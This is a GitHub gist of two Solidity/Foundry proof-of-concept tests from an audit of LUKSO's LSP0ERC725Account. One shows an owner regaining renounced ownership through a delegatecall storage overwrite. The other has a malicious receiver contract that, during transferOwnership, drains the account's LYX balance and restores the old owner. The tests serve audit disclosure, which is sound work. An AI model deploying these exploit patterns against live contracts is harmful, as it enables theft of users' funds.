Last active
August 30, 2023 18:12
-
-
Save MiloTruck/0c8e038048cc9916db7a5eb77a9467a7 to your computer and use it in GitHub Desktop.
PoCs for LUKSO Audit Report
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: UNLICENSED | |
pragma solidity ^0.8.13; | |
import "forge-std/Test.sol"; | |
import "../../contracts/LSP0ERC725Account/LSP0ERC725Account.sol"; | |
contract Implementation { | |
// _pendingOwner is at slot 3 for LSP0ERC725Account | |
bytes32[3] __gap; | |
address _pendingOwner; | |
function setPendingOwner(address newPendingOwner) external { | |
_pendingOwner = newPendingOwner; | |
} | |
} | |
contract RenounceOwnership_POC is Test { | |
LSP0ERC725Account account; | |
function setUp() public { | |
// Deploy LSP0 account with this address as owner | |
account = new LSP0ERC725Account(address(this)); | |
} | |
function testCanRegainOwnership() public { | |
// Call renounceOwnership() to initiate the process | |
account.renounceOwnership(); | |
// Overwrite _pendingOwner using a delegatecall | |
Implementation implementation = new Implementation(); | |
account.execute( | |
4, // OPERATION_4_DELEGATECALL | |
address(implementation), | |
0, | |
abi.encodeWithSelector(Implementation.setPendingOwner.selector, address(this)) | |
); | |
// _pendingOwner is now set to this address | |
assertEq(account.pendingOwner(), address(this)); | |
// Call renounceOwnership() again to renounce ownership | |
vm.roll(block.number + 200); | |
account.renounceOwnership(); | |
// Owner is now set to address(0) | |
assertEq(account.owner(), address(0)); | |
// Call acceptOwnership() to regain ownership | |
account.acceptOwnership(); | |
// Owner is now set to address(this) again | |
assertEq(account.owner(), address(this)); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: UNLICENSED | |
pragma solidity ^0.8.13; | |
import "forge-std/Test.sol"; | |
import "../../../contracts/LSP0ERC725Account/LSP0ERC725Account.sol"; | |
contract Implementation { | |
// _owner is at slot 0 for LSP0ERC725Account | |
address _owner; | |
function setOwner(address newOwner) external { | |
_owner = newOwner; | |
} | |
} | |
contract MaliciousReceiver { | |
LSP0ERC725Account account; | |
bool universalReceiverDisabled; | |
constructor(LSP0ERC725Account _account) { | |
account = _account; | |
} | |
function universalReceiver(bytes32, bytes calldata) external returns (bytes memory) { | |
// Disable universalReceiver() | |
universalReceiverDisabled = true; | |
// Cache owner for later use | |
address owner = account.owner(); | |
// Call acceptOwnership() to become the owner | |
account.acceptOwnership(); | |
// Transfer all LYX balance to this contract | |
account.execute( | |
0, // OPERATION_0_CALL | |
address(this), | |
10 ether, | |
"" | |
); | |
// Overwrite _owner with the previous owner using delegatecall | |
Implementation implementation = new Implementation(); | |
account.execute( | |
4, // OPERATION_4_DELEGATECALL | |
address(implementation), | |
0, | |
abi.encodeWithSelector(Implementation.setOwner.selector, owner) | |
); | |
return ""; | |
} | |
function supportsInterface(bytes4) external view returns (bool) { | |
return !universalReceiverDisabled; | |
} | |
receive() payable external {} | |
} | |
contract TwoStepOwnership_POC is Test { | |
LSP0ERC725Account account; | |
function setUp() public { | |
// Deploy LSP0 account with address(this) as owner and give it some LYX | |
account = new LSP0ERC725Account(address(this)); | |
deal(address(account), 10 ether); | |
} | |
function testCanDrainContractInTransferOwnership() public { | |
// Attacker deploys malicious receiver contract | |
MaliciousReceiver maliciousReceiver = new MaliciousReceiver(account); | |
// Victim calls transferOwnership() for malicious receiver | |
account.transferOwnership(address(maliciousReceiver)); | |
// All LYX in the account has been drained | |
assertEq(address(account).balance, 0); | |
assertEq(address(maliciousReceiver).balance, 10 ether); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment